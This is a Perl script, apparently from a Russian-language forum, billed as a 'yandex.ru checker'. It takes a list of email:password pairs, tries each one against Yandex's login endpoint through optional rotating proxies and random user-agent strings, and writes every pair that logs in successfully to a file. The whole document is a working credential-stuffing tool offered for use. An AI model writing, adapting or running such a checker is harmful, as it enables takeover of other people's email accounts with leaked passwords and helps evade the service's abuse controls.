Код:
 
#!/usr/bin/perl
#yandex.ru checker
#(c) Gaus 2009
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Cookies;
use threads;
use threads::shared;
use Fcntl ':flock';

##############################
my $mails_file = 'mails.txt';# Файл со списокoм мыл, в формате мыло:пасс
my $delm = ';'; # Разделитель списка мыл
my $threads = 1; # Кол-во потоков
my $proxy_file = 'proxy.txt';# Файл с проксями
my $proxy_mode = 'OFF'; # Режим использования прокси
my $good_mails = 'good.txt'; # Файл с валидными мылами
##############################

my @mails : shared = lf($mails_file);
my @proxys : shared = lf($proxy_file);
threads->new(\&main) for 1 .. $threads;
$_->join for threads->list;
sub main
{
my $ua = LWP::UserAgent->new(timeout => 35,
cookie_jar => new HTTP::Cookies,
agent => agent());
while(@mails)
{
if($proxy_mode eq 'ON')
{
until(proxy($ua)){}
}
my ($mail, $pass) = split $delm => shift @mails;
my ($login, $dom) = split '@' => $mail;
my $resp = $ua->post("http://pda-passport.yandex.ru/passport?mode=mauth",
["timestamp" => time,
"login" => $login,
"passwd" => $pass,
"In" => "%C2%EE%E9%F2%E8"])->code;
if($resp == 302)
{
wf($good_mails, "$mail;$pass\n");
print "[ + ] $mail;$pass\n";
}
else
{
print "[ - ] $mail;$pass\n";
}
}
}
sub proxy
{
my $ua = shift;
my ($ip, $port) = split ':' => $proxys[rand scalar @proxys];
$ua->proxy('http' => "http://$ip:$port");
my $test = $ua->get('http://zerg.helllabs.net/cgi-bin/textenv.pl')->content;
if($test =~ m,REMOTE_ADDR=$ip,i)
{
print "[ + ] Current proxy: $ip:$port\n";
return 1;
}
else
{
print "[ - ] Error proxy: $ip:$port\n";
return 0;
}
}
sub agent
{
my @agents = qw(Opera/9.15 Opera/9.12 Opera/8.60b IE/4.0 IE/5.0 IE/6.0 IE/7.0 Mozilla/4.0 Mozilla/5.0 Mozilla/2.0 Mozilla/3.0);
return $agents[rand scalar @agents];
}
sub lf
{
open my $dat, '<', $_[0] or die "\nCould not open $_[0] file!\n";
chomp (my @data = <$dat>);
close $dat;
my %saw;
return @data = grep(!$saw{$_}++, @data);
}
sub wf
{
open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n";
flock $dat, LOCK_EX;
print $dat $_[1];
flock $dat, LOCK_UN;
close $dat;
}